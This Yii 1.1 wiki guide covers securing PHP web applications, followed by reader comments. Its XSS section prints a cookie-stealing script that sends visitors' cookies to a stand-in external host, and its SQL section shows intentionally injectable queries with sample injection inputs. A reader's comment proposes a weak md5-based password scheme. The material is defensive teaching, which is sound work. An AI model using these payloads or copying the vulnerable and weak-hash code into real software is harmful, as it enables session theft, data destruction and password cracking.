Yii 1.1: How to write secure Yii applications

126 followers

warning: While this security guide tries to be quite complete, is not exhaustive. If security matters for you, you ought to check several other references.

General principles

  • Validate the user input (see below for details).
  • Protect (escape) your application output according to context (see below for a few output types, mostly HTML and SQL).
  • Test your application in debug mode.
    Set the constant YII_DEBUG to true (by default, it is defined in index.php) and put alongside error_reporting(E_ALL);. Then errors and warnings will stop the execution and Yii will display the message, the source code and the call stack. Even an undefined key in an array (which is just a "E_NOTICE" level) can cause security problems.
  • Disable the debug mode in production.
    Make sure your error messages don't contain sensitive information.
  • Whenever possible, filter by white-list instead of by black-list, i.e. allow only data that is in an authorized list.
  • In production, keep logs. Parse them regularly for warnings and errors.
    There are two levels of logs : application logs (handled by Yii) and server logs (handled by PHP and usually Apache). Yii logs are described in The Definitive Guide to Yii, Logging. PHP logs are usually on by default. Please check your server configuration and your rights on the file system for accessing these log files.

Validating the user input

How it works

If a user can add its birth date to its profile, you have to make sure he gives a valid date. It's not only helpful to prevent mistypes, it also provides better security. Verifying the input is in the form "1951-01-25" will forbid dangerous texts that try to attack your database's SQL or your website's HTML. Validation is not a perfect protection, but it's an excellent first step.

Client-side validation

Validating a form with JavaScript has absolutely no impact on the security! It should only be meant as a way to enhance the interface and its comfort of use.

The HTML restriction are the same. For instance, if a page has a form containing:

<input type="hidden" name="id" value="1" />
<input type="text" name="date" size="10" />
<select name="list"><option>1</option><option>2</option></select>

The data received in the PHP application can contain anything. The "id", "date" and "list" fields can be big strings or arrays. For example, a user can modify the HTML source of the page to replace both fields by text areas.

How Yii can help

Yii provides specific ways that can be used instead or along the usual PHP ways. For reference, the recommended way without Yii is mostly to use type casts and the Filter extension.

Validating through a model

Most of the times, the user input will be sent to a model. Models will generally extend CFormModel or CActiveRecord. Both of them derive from the class CModel. This class has a method rules() that declares how the validation will process. The additional tests can be done with behaviors or the beforeValidate() method.

The controller:

<?php
// In the controller
$model = new Comment;
$model->attributes = $_POST['Comment'];
if ($model->save()) { // validates and save
    $this->redirect(array('view', 'id' => $model->id));
} else {
    // Could not validate, or could not save
}

The model:

<?php
// In the model
class Comment extends CActiveRecord
{
    public function rules()
    {
        return array(
            array('parent', 'numerical', 'integerOnly' => true),
            array('strangedata', 'customValidateForStrangedata'),
            array('description', 'length', 'max' => 255),
        );
    }
 
    // extended validation, run before the rules set above
    protected function beforeValidate()
        if (!empty($this->description) && substr_count($this->description, '"') % 2 !== 0) {
            $this->addError("description", "Odd number of quotes");
            // return false; // stop validation
        }
        return parent::beforeValidate();
    }
 
    /** @return boolean Continue the validation process? */
    protected function customValidateForStrangedata($attribute, $params)
    {
        $this->addError($attribute, "validation failed");
        return false;
    }

You should pay extra care to your validation. It keeps your data clean, and that not only useful for security. Many kind of rules are already declared, and you can add your own. You can also apply some rules only in a given context, e.g. validate a field only when the record is modified ("update" scenario"), not when the record is created ("insert" scenario).

To go further:

Validating in a controller

Some light user input will be handled directly by the controller. In this case, you should use a PHP type cast. This happens frequently for numeric IDs where you should use (int).

<?php
// insecure (see below for restrictions)
$model = Post::model()->findByPk($_GET['id']);
// secure
$model = Post::model()->findByPk((int) $_GET['id']);

If the input is not expected to be an integer, then consider making go through a model validation.

Side note on the last example

In fact, Yii will help, even in the first case. The method findByPk() uses the table schema to ensure that a numeric column only gets numeric criteria. See the SQL Injection section for more details. Yet, there are cases where this automatic protection might not be enough. What if a malicious user enters the query comment/delete?id[]=2\&id[]=1? Then $_GET['id'] would become an array, and if this id is not validated, it can induce strange effects, and possible security breaches (but not with findByPk).

HTML output and XSS

If the application prints unfiltered user input inside a HTML page, then it allows a malicious user to change the display of this page, and to inject client code (usually JavaScript) that can be run by other users. One typical use of these XSS attacks is to steal user sessions.

One note on vocabulary: filtering data for security concerns is often called escaping.

Example

Here is a extract of a view. The page just shows a user profile.

<h2>Profile of <?php echo $user->name ?></h2>
Other unfiltered and unsecure outputs:
<a href="/posts?name=<?php echo $user->login ?>"
   title='<?php echo $user->name ?>'>See my posts</a>

Why is this dangerous? Suppose the user's name is:

Joe<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>

Then everyone that consults this profile will send an HTTP request for an external image, and this request will contain data describing the visitor's cookies. This is an XSS attack.

PHP provides several functions that protect the output. The most useful one is htmlspecialchars() but just in the example above, rawurlencode() and htmlspecialchars(, ENT_QUOTES) would also be necessary.

How Yii can help

Plain text

If you want to print plain text in a HTML page, use CHtml::encode(). Here is an example:

<h2>Profile of <?php echo CHtml::encode($user->name) ?></h2>

This function is in fact a wrapper on htmlspecialchars() with your application's characters set (to be exact, it's not a charset but a character encoding). So if your texts are not (yet) in UTF-8, you should declare a charset in the global config (e.g. 'charset' => 'ISO-8859-1' in the first level of "protected/config/main.php").

You may want to apply strip_tags(), to remove HTML/XML tags before escaping. Beware, this function is not secure, so do not use it without CHtml::encode().

Rich text (HTML)

If you want to allow HTML in the user input, then you have to display it raw. So you should filter the HTML data (before saving it or after reading it, at your choice, though the former is recommended for performance reasons). Do not try to filter it yourself, several PHP libraries already exist. The most well-known is Html Purifier, and it has been incorporated in Yii. For details, see the section Security, XSS in "The Definitive Guide to Yii".

<li class="comments">
<?php
$purifier = new CHtmlPurifier();
$purifier->options = array(
    'HTML.Allowed' => 'p,a[href],b,i',
);
foreach (Comment::model()->findAll() as $comment) {
    // This can be dangerous
    //echo "<li>" . $comment->text . "</li>\n";
 
    // Safe output (but slow)
    echo "<li>" . $purifier->purify($comment->text) . "</li>\n";
}
?>
</li>

Allowing the user to enter HTML text can be useful, especially with Rich Text Editors like TinyMCE or CkEditor, but you may instead consider using templating languages, like Markdown or wiki syntax. Regarding security, the benefit is that the application converts to HTML, so the risk of XSS is low.

<div class="comment">
<?php
$md = new CMarkdownParser();
echo "<div>" . $md->transform($comment) . "</div>";
?>
</div>
To go further:

Special cases: URLs, CSS, etc

URL

To escape a string in an URL:

  • use rawUrlEncode() for url parts,
  • use urlEncode() for url parameters.

Here is an example of several cases in JavaScript and HTML:

<script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script>
<a href="/search/<?php echo rawUrlEncode($query)) ?>">Escape url parts</a>
<a href="/?param=<?php echo urlEncode($param) ?>">Escape URL parameters</a>
<a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">Escape whole URLs</a>

CHtml::encode() cannot be used alone here because it could produce an invalid URL, for example with $query = '?x="N & B"'. But it cannot be removed since ampersands "&" have to be replaced by "&amp;".

CSS

Use Html Purifier. See the section on "Rich text (HTML)".

JavaScript

If you need to write from PHP to JavaScript, you should use the static methods of CJavaScript.

<?php
$messages = array("Rock'n roll", 'Say "hello"');
$title = "D'accord";
Yii::app()->clientScript->registerScript('snippet', "
function displayMsg() {
    var messages = " . CJavaScript::encode($messages) . ";
    var title = '" . CJavaScript::quote($title) . "';
    // ...
}
");

There is a special case where you do not want Yii to quote a string that is already valid in JS. In this case, you have to prefix your string with "js:", the prefix will be removed and the rest will be unchanged.

<?php
$this->widget(
    'zii.widgets.jui.CJuiAutoComplete',
    array(
        'name' => 'field_name', // Yii applies CJavaScript::quote to each value
        'source' => 'js:function(request, response) { $.ajax({...}) }', // "js:" before the JS code

SQL Injections

How it works

When some user data is put unfiltered in a SQL query, it allows a malicious user to send its own SQL in the query.

<?php
// warning, dangerous code
Yii::app()->db
    ->createCommand("DELETE FROM mytable WHERE id = " . $_GET['id'])
    ->execute();
$comments = Comment::model->findAll("user_id = " . $_GET['id']);

If the GET parameter id is "4 OR 1=1" then someone who has the right to delete comment #4 will probably be able to delete all the other comments (it depends on how the authorization is granted, but that's another story). In the second request, it would be possible to read the content of the whole DB with input like "2 UNION SELECT ...".

How Yii can help

Use a PHP syntax instead of raw SQL

Instead of the code of the example above, what follows is far more secure:

<?php
// still lacks validation (see "Validating user input" above), but more secure
MyModel::model()->findByPk($_GET['id'])->delete();
// uses validation with a type cast
$comments = Comment::model->findAllByAttributes(array('user_id' => (int)$_GET['id']);

This is a general principle: if you build your SQL condition in pure text, you take more risks than a more PHP approach. For most DB functions, prefer array parameters to string parameters. Here is another example using PHP arrays:

<?php
// warning: potential sql injection
$comments = Comment::model->findAll("post_id = $postId AND author_id IN (" . join(',', $ids) . ")");
// secure (note how an array value is gives a "IN" since Yii
$comments = Comment::model->findAllByAttributes(array("post_id" => $postId, "author_id" => $ids));

Prepared statements

The are still cases where writing raw SQL is needed. Consider a simple query that has 2 parameters:

SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date
  FROM t_comment
  WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'

There are 2 ways to secure this:

  1. Escape each parameter (not recommended).
  2. Use a prepared statement (recommended).

If you really want to escape each parameter, you can use CDbConnection::quoteValue(). For example, "date > '{$date}'" would become "date > " . Yii::app()->db->quoteValue($date).

Prepared statements is a way to declare parameters in your SQL. Depending on your configuration, the incomplete query will be compiled by the SQL server, then the values will be inserted at the right places (the actual behavior may vary because this process could be emulated from PHP, especially if the SQL engine doesn't allow it). Prepared statements removes any risk of SQL injection in the parameters. (Yet, beware, not everything is a parameter).

There are two ways to write this in Yii:

<?php
// Note the parameters are written :param without surrounding quotes
$sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date "
    . "FROM t_comment "
    . "WHERE (date > :date OR date IS NULL) AND title LIKE :text"
 
// 1st way, using explicit binds
$command = Yii::app()->db->createCommand($sql);
$command->bindParam(":date", $date, PDO::PARAM_STR);
$command->bindParam(":text", "%{$text}%", PDO::PARAM_STR);
$results = $command->execute();
 
// second way
$command = Yii::app()->db->createCommand($sql);
$results = $command->execute(array(':date' => $date, ':text' => "%{$text}%"));

The first syntax with explicit bindings is a bit heavier, but it has the advantage of defining the parameter's type.

When retrieving models from the DB, the syntax is simple:

<?php
$comments = Comment::model->findAllBySql($sql, array(':date' => $date, ':text' => "%{$text}%"));

If you don't feel at ease with the Yii way to query databases, please read the whole tutorial Working with Databases in "The Definitive Guide to Yii". The section Database Access Objects has more details on binding parameters.

Side note on LIKE conditions

Even if no SQL injection in possible in the previous queries, there is still room for improvement. The SQL function LIKE has a special treatment for the characters "_" and "%". In many cases, this is not a problem, with mostly unexpected results. But if the data queried is huge, then transforming a "begin%" condition into "%s%a%" condition can make the query so heavy that it slows the SQL server, because no index can be used for the later. So you should protect the characters "%" and "_" when the user input is going into a LIKE condition, for example with str_replace(). See further for example of how CDbCriteria::compare() or CDbCriteria::addSearchCondition() can simplify this.

Side note on positional parameters

As of now (Yii 1.1.8), the framework does not recognized positional parameters marked with "?". You have to used named parameters whose names begin with ":".

Side note on performance

A lone prepared statement is a bit slower than a non prepared one. This is probably not a performance bottleneck for your application. But if you want to run several times the same query with variable bound parameters, then the prepared statements will be faster. Of course, none of this does apply when PHP emulates preparation.

When prepared statements aren't enough

As written above, prepared statements remove any risk of SQL injection in the parameters. Alas, there will be times when you need to use variables for parts of the SQL query that cannot use prepared statements.

SELECT *
  FROM {$mytable}
  WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date}
  ORDER BY {$myfield}
  LIMIT {$mylimit}

The traditional way to solve this problem in pure PHP is to have white-lists of accepted values for each part. But Yii provide several ways to help. The first one is that Yii knows your DB schema, so you can write:

<?php
if (!Comment::model()->hasAttribute($myfield)) {
    die("Error");
}

A very specific solution to build a secure SQL query is to use the "Query Builder", available since Yii 1.1.6. This is a way to write a complete SQL query in pure PHP, but it cannot be mixed with other approaches (raw SQL, CDbCriteria, etc). See the section Query Builder in "The Definitive Guide to Yii".

Most of the time, your expected result is to be parsed as models, so you can use find*() methods with CDbCriteria to build a more secure query. For example:

<?php
// Yii applies some validity checks when the query is not raw SQL
$criteria = new CDbCriteria(
    array(
        'order' => $myfield,
        'limit' => $mylimit,
    )
);
$criteria->compare($myfield, $value, true); // LIKE % escaped($value) %
$criteria->compare('post_date', '<:date');
$criteria->params = array(':value' => $value, ':date' => $date);
$comments = Comment::model()->findAll($criteria)

This is especially useful if you intend to use CGridView which is what Gii (the official scaffolding tool) suggests. CGridView expects a CDataProvider which uses CDbCriteria, so you don't have to pay too much attention to the user search input.

To be complete, here is another syntax for the previous example:

<?php
// Yii applies some validity checks when the query is not raw SQL
$criteria = new CDbCriteria();
$criteria->order = $myfield;
$criteria->limit = $mylimit;
$criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE '%...%'
$criteria->addCondition("post_date < :date");
$comments = Comment::model()->findAll($criteria, array(':value' => $value, ':date' => $date));

Summary on SQL injection

In the following lists, the firsts choices are the easiest to secure, but it doesn't mean the last items are not secure.

<?php
$r = Yii::app()->db
    ->createCommand($sql)
    ->queryAll(array(':param1' => $value1));

And don't forget to validate the input before this!

Cross-site Request Forgery (CSRF)

See The Definitive Guide to Yii, CSRF.

Please note that HTTP requests that modify the server state (create, update, delete) should be with the POST protocol. This is a good practice, as recommended by REST, and it helps web browser to prevent accidental re-send of these requests. But a POST request in itself does not prevent CSRF, it provides almost no improvement on security. Fortunately, Yii has a mechanism (disabled by default) that can be used to protect them from forgery.

Configure the web server

This section will only consider a UNIX (Linux, BSD, OSX) web server Apache with PHP as a module. Other configurations (Windows, nginx, PHP-fpm, etc) may require different settings, though the principles are the same.

Set up different environments

When Yii runs with the constant YII_DEBUG set to true, it can show valuable information to an attacker (setting aside the performance penalty). For instance, suppose an attacker finds a validation miss in your application: when a form is spoofed to send an array value in a field, a PHP function will receive incorrect parameters. In debug mode, Yii will then print the call stack, with the context of each call made in user code.

Unfortunately, by default the debug mode is set up in the index.php file of your application. So the code has to be changed when running a development, a testing or a production instance. One solution can be to use a DVCS to track local changes and rebase them (fast-forward in git jargon). The drawback is that the various configurations are handled locally, in several branches.

The recommended solution is to rewrite the index.php file so that it reads the debug configuration:

  • from an external file,
  • or from the web server environment.

Apache can set environment variables with the syntax

SetEnv YII_ENV testing

This can be set in the global configuration files (in a VirtualHost or Directory), or in a .htaccess file. Then PHP can access this variable through $_SERVER["YII_ENV"] and default to "production mode" if it isn't set.

For a Yii application

The directory containing the framework should not be under the document root of your server (there is no reason a user could access to files like "yiilite.php" in its web browser).

Three directories must be writable by the web server: "assets", "protected/data" and "protected/runtime". The web server should only have read access to everything else. This way, an attacker could only create/modify a file in these directories. The folder "assets" is especially dangerous since it is writable, and there is a direct HTTP access to it. Therefore, the PHP files it contains should not be interpreted but treated as plain text (see the example below).

Yii's default application have ".htaccess" files to forbid direct web access to "protected/" and "themes/classic/views/". It is a bit safer (and faster) to put this configuration in the global configuration of Apache. Here is an example that also disables PHP files in "assets/".

[apache]
# Example config for Yii-myapp and Apache
# Please set the pathes to their right values

# put the application in some custom url
# (instead of an Apache alias, a symbolic link can be used)
Alias /web/path/for/myapp "/home/myapp/www"

<Directory "/home/myapp/www">
    AllowOverride None
</Directory>

<Directory "/home/myapp/www/protected">
    Deny from All
</Directory>

<Directory "/home/myapp/www/assets">
    php_admin_flag engine off
    Options -Indexes
</Directory>

Instead of the previous configuration, here is an example of putting a Yii application in a Virtual Host. Each securing directive has an explaining comment.

[apache]
# Example config for Yii-myapp as an Apache VirtualHost
# Please set the paths and the host name to their right values

<VirtualHost *:80>
    ServerName myapp.com
    DocumentRootAlias /home/myapp/www

    ErrorLog /var/log/apache2/myapp-error.log
    CustomLog /var/log/apache2/myapp-access.log common

    <Directory "/home/myapp/www">
        Options +FollowSymLinks
        # These 2 lines are useless with modern PHP
        php_flag register_globals Off
        php_flag gpc_magic_quotes Off
        # Forbid .htaccess to change settings
        AllowOverride None

        <IfModule mod_rewrite.c>
            # The following block is for masking "index.php" in the url
            # To enable it, configure the app: urlManager.showScriptName = false
            IndexIgnore */*
            RewriteEngine on
            RewriteCond %{REQUEST_FILENAME} !-f
            RewriteCond %{REQUEST_FILENAME} !-d
            RewriteRule . index.php
        </IfModule>
    </Directory>

    # Forbid direct access to this directory
    <Directory "/home/myapp/www/protected">
        Deny from All
    </Directory>

    # protect several non-PHP directories
    <DirectoryMatch "/home/myapp/www/(assets|css|images|js)$">
        # Forbid execution of PHP scripts
        php_admin_flag engine off
        # Forbid listing of files
        Options -Indexes
    </DirectoryMatch>
</VirtualHost>

For every PHP project

A few useful directives:

Directive Comment
allow_url_include Should be off (PHP 5.2).
register_globals This is obsolete and dangerous. Should be off.
magic_quotes_gpc Important for many PHP applications, but Yii negates its effect. Should be off.
open_basedir Can restrict PHP to access only some directories. Use with caution.
display_errors Should be off in production.
error_reporting Should always include at least E_ERRORS. See the official documentation.

This directives can be set in the global "php.ini" file. If Apache has AllowOverride Options, then ".htaccess" can be used.

[apache]
# .htaccess file
php_flag display_errors off
php_value error_reporting -1

One can also use php_admin_flag and php_admin_flag to set config parameters that can't be changed dynamically with ".htaccess" or ini_set(). Here is an example in an Apache config file.

[apache]
# Apache config file
<Directory "/var/www/myapp">
    php_admin_value open_basedir /var/www/myapp/:/tmp/
</Directory>

SSL is out of the scope of this wiki page.

Authorization

Authorization is ensuring users only have access to the resources they have permissions on. This is a lengthy subject, and Yii provides many useful classes to handle permissions and roles. To learn about this, please read The Definitive Guide to Yii from Access Control Filter to Using Business Rules.

Another useful resource is in the wiki: Getting to Understand Hierarchical RBAC Scheme. For a more practical but limited case, see CPhpAuthManager - how it works.

There are also several extensions that can help you to set up the authorization system of your application.

Authentication

Password strength

The validation rule must reject any weak password. Writing its own validation method is easy: just require a minimum size, and check that different classes of characters are present. You can also use a ready-made solution, the extension epasswordstrength.

<?php
class User extends CActiveRecord
{
    public function rules()
    {
        return array(
            array('password', 'checkPasswordStrength'),
        );
    }
 
    protected function checkPasswordStrength($attribute, $params)
    {
        $password = $this->$attribute;
        $valid = true;
        $valid = $valid && preg_match('/[0-9]/', $password); // digit
        $valid = $valid && preg_match('/\W/', $password); // non-alphanum
        // ... other rules ...
        $valid = $valid && (strlen($password) > 7); // min size
        if ($valid) {
            return true;
        } else {
            $this->addError($attribute, "Not secure enough");
            return false;
        }
    }

Providing a client-side validation in JavaScript can be useful, since the user will know immediately if its password is secure. But don't forget this must not replace the validation in PHP. In fact, it makes validation a bit harder because your PHP validation must be the same as your JS validation. To be precise, it can be weaker than the JS, but it has to follow similar criteria. There is also an extension for this, estrongpassword.

Encrypting passwords

This section considers only internal authentication, i.e. through passwords managed by the application. It does not consider LDAP, SSO, OpenID, or any other external service.

If the authentication process is internal, then of course you shouldn't store the passwords in plain text. The easiest solution for encryption is to use the well-known library PHPass. With Yii, it can be as simple as the following "User" model:

<?php
// autoload "protected/lib/PasswordHash.php"
Yii::import('application.lib.PasswordHash');
 
class User extends CActiveRecord
{
    public function validatePassword($password) // $password is the user input
    {
        // Try to use stronger but system-specific hashes, with a possible fallback to
        // the weaker portable hashes.
        $hasher = new PasswordHash(8, FALSE);
        return $hasher->checkPassword($password, $this->password);
    }
 
    public function beforeSave()
    {
        // Replace the raw password with the hashed one
        if (isset($this->password)) {
            $hasher = new PasswordHash(8, FALSE);
            $this->password = $hasher->HashPassword($this->password);
        }
        return parent::beforeSave();
    }

What the library PHPass does is applying random salting, choosing the best encrypting algorithm available, iterating it a high number of times... Nothing really hard to code by oneself, but why reinvent the wheel. And the author is a security expert, he wrote the famous "john the ripper" password-cracking tool (the successor of Jack the ripper ;). If you want to know more on passwords, the home page of the library contains links toward technical articles and a few advanced recommendations.

Useful Tools

There are several tools that can detect potential security breaches in your application. First, some web security scanners:

  • Skipfish. Well-documented, powerful and easy to run. Like any other scanner, it will detect some false-positive issues, be careful when interpreting.
  • Nikto. This is probably the most well-known.
  • W3af, Web Application Attack and Audit Framework. This is a package of security tools with a common interface. It has both a CLI and GUI. It comes with an extensive documentation.

Then a scanner of a different type:

  • RatProxy. This open-source tool is a proxy that will analyze your traffic to find potential security problems.

There are many other security tools, but this should be more than enough for any beginner. And if you're experimented enough with web security, please contribute!

Total 19 comments

#16944 report it
Nisanth thulasi at 2014/04/15 10:05am
Great article!

Great article! presented in the nice way

#15342 report it
Rajith R at 2013/10/30 08:52am
@François Gannaz

Thank you.

I know, but this is the very related topic ,thats y.

#15336 report it
François Gannaz at 2013/10/30 05:07am
This is a wiki

@Alaa Abdelhaq: thanks for detecting the error. I've fixed this part and added an example on converting markdown. This is indeed a wiki, so you're welcome to enhance the page by yourself.

@Rajith R: You should ask questions in the forum. Yet the answer, if you're using Apache, is in this page, under the section "Configure the web server".

#14661 report it
Rajith R at 2013/09/02 05:53am
@François Gannaz

François Gannaz,

great work

I have two folders in the same level of protected and assets, named uploads,server.

how to restrict these folders from directory listings.?

#14255 report it
Alaa Abdelhaq at 2013/07/30 07:05am
Error in your code

Please change your code in the HTML section

$purifier->options = array(
    'HTML.Allowed', 'p,a[href],b,i',
);

To

$purifier->options = array(
    'HTML.Allowed' => 'p,a[href],b,i',
);
#14091 report it
Zugluk at 2013/07/18 03:49am
What about connection database info

@François Gannaz : Firstly it's a very bad practice to have same information at different place more above if it's authentication info, secondly, pgpass file is not an ssl certificate http://www.postgresql.org/docs/9.2/static/libpq-pgpass.html. This pgpassfile allows to shape a bridge between applications and database without to have to give database authentication elsewhere than this file.

#14074 report it
François Gannaz at 2013/07/17 09:19am
Re: What about connection database info

@Zugluk: You wrote that you connect to your PostGres server through a separate file. I suppose that this file is a SSL certificate, though pg has many authentification system. Anyway, if PHP can "load" this file and pass it to the DB server, it means the file is readable to the web server.

Where is the increase in security? On one side, the authentication info is in a PHP file, on the other side, everything is in a SSL file. Both are readable by the Apache/webserver user. Looks the same to me. In a way, a PHP config file is less dangerous: beware that your SSL certificate is outside the documentroot or it will be served "raw" to anyone.

#14071 report it
Zugluk at 2013/07/17 08:27am
What about connection database info

In config main, we write password, login and connectionString in readable format. I work with postgresql and I use a file on my server that can be launched with pgsql in order to connect database but forbidding anyone to read password.

Is there any security system to give a file instead of giving password and login in config/main.php for databases ??

#9625 report it
Boaz at 2012/08/30 07:49am
Regarding PHPAss

in the section of Ecrypting password, there's a mention of the PHPAss library. Instead of manually including it, you can use the ready made extension for this, phpass

#9586 report it
Juan Antonio at 2012/08/25 03:12pm
Thanks

Thanks a lot, it was really useful ;)

#7324 report it
manuel-84 at 2012/03/14 08:10am
@francois

thank you for reply, I think you should specify that in your article

the minimun lenght for the password field in your example is 60 characters

#7321 report it
François Gannaz at 2012/03/14 05:57am
Re: password hashing

@manuel-84 Please read this wiki guide lines, in the alert box just above the comment fields:

Please only use comments to help explain the above article. If you have any questions, please ask in the forum, instead.

Anyway, it's no surprise my "code didn't work" if the hash isn't fully saved in the DB. Well, the code "works", I use it in several applications. Here is what I used in a project with MySQL:

CREATE  TABLE IF NOT EXISTS `user` (
  `id` INT UNSIGNED NOT NULL AUTO_INCREMENT ,
  `password` VARCHAR(255) CHARACTER SET ascii COLLATE ascii_bin NOT NULL COMMENT 'hashed password' ,

You can also use a constant width field, like CHAR(XX), but IIRC the hash size depends on the crypt method of PHPass. Of course, the SQL syntax will be different with other DB systems.

#7319 report it
manuel-84 at 2012/03/13 09:37pm
password hashing

your code didn't work, never validate the password if his field in database is not long enough

what is the correct lenght for the password field?

#7091 report it
François Gannaz at 2012/02/23 09:39am
@yangmls

SQL injection

Thanks for detecting this, I've fixed it. Note that findAll() could be used, with a syntax like

findAll(array('params' => array("post_id" => ...`

But you were right, I intended to use findAllByAttributes(), like in the example a few lines after.

Authentication

I disagree. Why use a custom hashing function, even if it salts, when there is a powerful library like PHPass? I think using PHPass is more secure and even simpler.

#6080 report it
Alaa Abdelhaq at 2011/12/10 12:52pm
Thank you!

Great article! Thanks a lot! better than Yii's documentation!

#5894 report it
bingjie2680 at 2011/11/23 06:05am
great work

good to see there is a rather complete tutorial in Yii security. keep up your great work. :)

#5892 report it
François Gannaz at 2011/11/23 05:10am
Forum topic linked to this article

As suggested by the wiki rules, I created a forum topic for questions about this article.

I replied there to the 2 previous comments.

#5890 report it
bonnie at 2011/11/22 10:21pm
Nice article

Thanks a lot for this article am going to visit my app and give it more enhancement concerning security. I have one question though. I have an app for listings where users post listings and an email is send to them with a link to click for activation how can I validate this since it's coming through GET variable.

#5888 report it
yangmls at 2011/11/22 09:18pm
good article

Thank you for your excellent article

I have some different ideas

In SQL Injections

$comments = Comment::model->findAll(array("post_id" => $postId, "author_id" => $ids));

I think it has no effect...

the correct way is to use findAllByAttributes

In Authentication

I think a good solution is to generate a random salt in db

just a simple example

public function validatePassword($password)
    {
        return $this->hasPassword($password) == $this->password;
    }
 
    public function hashPassword($password)
    {    
        return md5(md5($password).$this->salt);
    }
 
    public function beforeSave()
    {
        if($this->getIsNewRecord()) {
            if(!isset($this->salt)) {
                $this->salt = substr(uniqid(rand()), -6);
            }
            if (isset($this->password)) {
                $this->password = $this->hashPassword($this->password);
            }
        }
    }

Leave a comment

Please to leave your comment.

Write new article